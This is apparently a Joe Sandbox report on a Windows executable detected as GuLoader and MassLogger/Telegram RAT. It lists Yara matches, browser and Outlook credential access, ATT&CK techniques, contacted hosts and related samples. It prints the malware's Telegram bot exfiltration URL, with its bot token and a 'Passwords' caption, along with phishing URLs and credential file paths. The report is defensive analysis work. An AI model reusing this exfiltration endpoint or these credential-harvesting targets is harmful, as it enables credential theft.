
Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: v4nrZtP7K2.exe PID: 4256, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: v4nrZtP7K2.exe PID: 4256, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: v4nrZtP7K2.exe PID: 4256, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: v4nrZtP7K2.exe PID: 4256, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: v4nrZtP7K2.exe PID: 4256, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Obfuscated Files or Information	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
v4nrZtP7K2.exe	63%	ReversingLabs	Win32.Trojan.Guloader
v4nrZtP7K2.exe	78%	Virustotal		Browse
v4nrZtP7K2.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://api.telegram	0%	Avira URL Cloud	safe
http://checkip.dyndn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.181.238	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	104.21.48.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349ED000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349BB000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000348E7000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	v4nrZtP7K2.exe, 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/o	v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004059000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000003FF8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189ec	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004059000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349ED000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034821000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A89000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A89000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	v4nrZtP7K2.exe	false		high
http://api.telegram.org	v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349ED000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A89000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034821000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndn	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
104.21.48.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.181.238	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588131
Start date and time:	2025-01-10 21:38:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	v4nrZtP7K2.exe renamed because original name is a hash value
Original Sample Name:	fdf9354cf20fb94544d6bafaa777e8a40eba2d603e648b3dbdf35344d639b19d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 158 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:41:16	API Interceptor	927x Sleep call for process: v4nrZtP7K2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 615TBI507_ ACCADO san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
104.21.48.1	NWPZbNcRxL.exe	Get hash	malicious	FormBook	Browse	www.axis138ae.shop/j2vs/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
api.telegram.org	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
checkip.dyndns.com	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3
TELEGRAMRU	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
UTMEMUS	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v3tK92KcJV.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
3b5074b1b5d032e5620f69f9f700ff0e	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	http://diebinjmajbkhhg.top/1.php?s=527	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	low
